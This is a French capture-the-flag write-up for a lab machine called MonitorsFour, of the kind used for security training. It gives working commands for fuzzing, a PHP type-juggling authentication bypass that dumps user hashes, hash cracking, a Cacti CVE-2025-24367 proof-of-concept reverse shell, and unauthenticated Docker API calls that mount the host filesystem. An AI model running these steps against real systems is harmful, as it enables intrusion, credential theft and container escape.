MonitorsFour
| OS | Difficulty | Target |
|---|---|---|
| Windows + Docker | MEDIUM | 10.129.x.x |
Informations
| Attribut | Valeur |
|---|---|
| Machine | MonitorsFour |
| OS | Windows avec Docker Desktop / WSL2 |
| Difficulté | Medium |
| IP | 10.129.x.x |
Résumé
- Enumération web → .env exposé + subdomain cacti
- PHP Type Juggling → Bypass auth /user?token=0
- Hash MD5 cracké → marcus:REDACTED
- CVE-2025-24367 → RCE Cacti → Shell www-data (Docker)
- CVE-2025-9074 → Docker API sans auth → Container privilégié
- Mount host filesystem → Root flag Windows
Reconnaissance
Scan Nmap
nmap -T4 -sC -sV 10.129.x.xPORT STATE SERVICE VERSION80/tcp open http nginx|_http-title: Did not follow redirect to http://monitorsfour.htb/5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0Service Info: OS: WindowsObservations :
- Port 80 : Serveur web Nginx avec redirection vers
monitorsfour.htb - Port 5985 : WinRM (Windows Remote Management)
- L’OS est Windows, mais la présence de Nginx suggère une architecture containerisée
Configuration DNS
echo "10.129.x.x monitorsfour.htb" >> /etc/hostsEnumération Web
Découverte de sous-domaines
ffuf -u "http://10.129.x.x/" -H "Host: FUZZ.monitorsfour.htb" \ -w /path/to/subdomains-top1million-5000.txt -ac -mc 200,301,302Résultat : cacti.monitorsfour.htb - Instance Cacti 1.2.28
Enumération des endpoints
ffuf -u "http://monitorsfour.htb/FUZZ" -w common.txt -ac -mc 200,301,302Découvertes importantes :
| Endpoint | Description |
|---|---|
/.env | Fichier de configuration exposé |
/login | Page de connexion |
/forgot-password | Reset de mot de passe |
/api/v1/auth | API d’authentification |
/api/v1/user | API utilisateur |
/api/v1/users | API liste utilisateurs |
Fichier .env exposé
curl -s "http://monitorsfour.htb/.env"DB_HOST=mariadbDB_PORT=3306DB_NAME=monitorsfour_dbDB_USER=monitorsdbuserDB_PASS=**REDACTED**Exploitation - PHP Type Juggling
Découverte de la vulnérabilité
L’endpoint /api/v1/user demande un paramètre token :
curl -s "http://monitorsfour.htb/user"# {"error":"Missing token parameter"}
curl -s "http://monitorsfour.htb/user?token=test"# {"error":"Invalid or missing token"}PHP Loose Comparison Bypass
En PHP, une comparaison “loose” (== au lieu de ===) peut être bypassée avec des “magic values”. Les valeurs comme 0, 0e0, 0e12345 sont traitées comme 0 en notation scientifique.
curl -s "http://monitorsfour.htb/user?token=0"Résultat : Dump complet des utilisateurs avec leurs hash MD5 !
[ { "id": 2, "username": "admin", "password": "**REDACTED_HASH**", "role": "super user", "name": "Marcus Higgins", "position": "System Administrator" }, ...]Cracking des hash MD5
echo "**REDACTED_HASH**" > hashes.txthashcat -m 0 hashes.txt rockyou.txtRésultat : **REDACTED**
Accès Cacti - Credential Reuse
Identification de la version Cacti
curl -s "http://cacti.monitorsfour.htb/cacti/" | grep -i version# Version 1.2.28Connexion avec les credentials
Le nom “Marcus Higgins” suggère l’username marcus sur Cacti :
- Username:
marcus - Password:
**REDACTED**
Connexion réussie au panel d’administration Cacti.
RCE via CVE-2025-24367
Description de la vulnérabilité
CVE-2025-24367 (CVSS 7.2) : Une faille dans l’outil RRD de Cacti permet à un attaquant authentifié d’abuser de la fonctionnalité de création de graphes pour écrire des scripts PHP arbitraires dans le webroot.
Exploitation
# Cloner le PoCgit clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
# Terminal 1 : Listenernc -lvnp 4444
# Terminal 2 : Exploitcd CVE-2025-24367-Cacti-PoCsudo python3 exploit.py -u marcus -p **REDACTED** \ -url http://cacti.monitorsfour.htb -i <VOTRE_IP> -l 4444Résultat : Reverse shell en tant que www-data dans un container Docker.
www-data@821fbd6a43fa:~/html/cacti$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)User Flag
cat /home/marcus/user.txtPrivilege Escalation - Docker Escape
Identification de l’environnement
ls -la /.dockerenv # Confirme qu'on est dans un containercat /etc/hosts # Révèle la topologie réseauCVE-2025-9074 - Docker Desktop API Exposure
Docker Desktop 4.44.2 est vulnérable à CVE-2025-9074 : l’API Docker Engine est accessible sans authentification depuis les containers Linux.
Vérification de l’API
curl -s http://192.168.65.7:2375/versionL’API répond - elle est accessible !
Création d’un container privilégié
# Créer un container avec le filesystem host montécurl -s -X POST http://192.168.65.7:2375/containers/create \ -H "Content-Type: application/json" \ -d '{ "Image": "alpine:latest", "Cmd": ["/bin/sh"], "Tty": true, "OpenStdin": true, "HostConfig": { "Binds": ["/:/host"] } }'# Retourne: {"Id":"CONTAINER_ID","Warnings":[]}
# Démarrer le containercurl -s -X POST http://192.168.65.7:2375/containers/CONTAINER_ID/startNavigation vers le flag root
Le système de fichiers Windows est accessible via WSL2 :
# Explorer la structure/host/mnt/host/c/ # Lecteur C: Windows
# Lire le root flagcurl -s -X POST "http://192.168.65.7:2375/containers/CONTAINER_ID/exec" \ -H "Content-Type: application/json" \ -d '{"Cmd":["cat","/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],"AttachStdout":true,"AttachStderr":true}'
# Exécuter l'ID retournécurl -s -X POST "http://192.168.65.7:2375/exec/EXEC_ID/start" \ -H "Content-Type: application/json" \ -d '{"Detach":false,"Tty":false}'Conclusion
Chaîne d’attaque
1. Enumération web -> .env exposé + subdomain cacti |2. PHP Type Juggling -> Bypass auth /user?token=0 |3. Hash MD5 cracké -> marcus:**REDACTED** |4. CVE-2025-24367 -> RCE Cacti -> Shell www-data (Docker) |5. CVE-2025-9074 -> Docker API sans auth -> Container privilégié |6. Mount host filesystem -> Root flag WindowsVulnérabilités exploitées
| CVE | Nom | Impact |
|---|---|---|
| N/A | PHP Type Juggling | Bypass d’authentification |
| N/A | .env exposé | Fuite de credentials |
| CVE-2025-24367 | Cacti Graph Template RCE | Exécution de code arbitraire |
| CVE-2025-9074 | Docker Desktop API Exposure | Escape de container |
Leçons apprises
- Ne jamais exposer les fichiers de configuration (
.env,config.php) - Utiliser des comparaisons strictes en PHP (
===au lieu de==) - Mettre à jour les applications (Cacti 1.2.28 → 1.2.29+)
- Sécuriser l’API Docker - ne jamais l’exposer sans authentification
- Principe du moindre privilège - les containers ne devraient pas avoir accès à l’API Docker
Outils utilisés
- nmap, ffuf - Reconnaissance
- hashcat - Cracking de hash
- curl - Exploitation manuelle
- CVE-2025-24367-Cacti-PoC - Exploit Cacti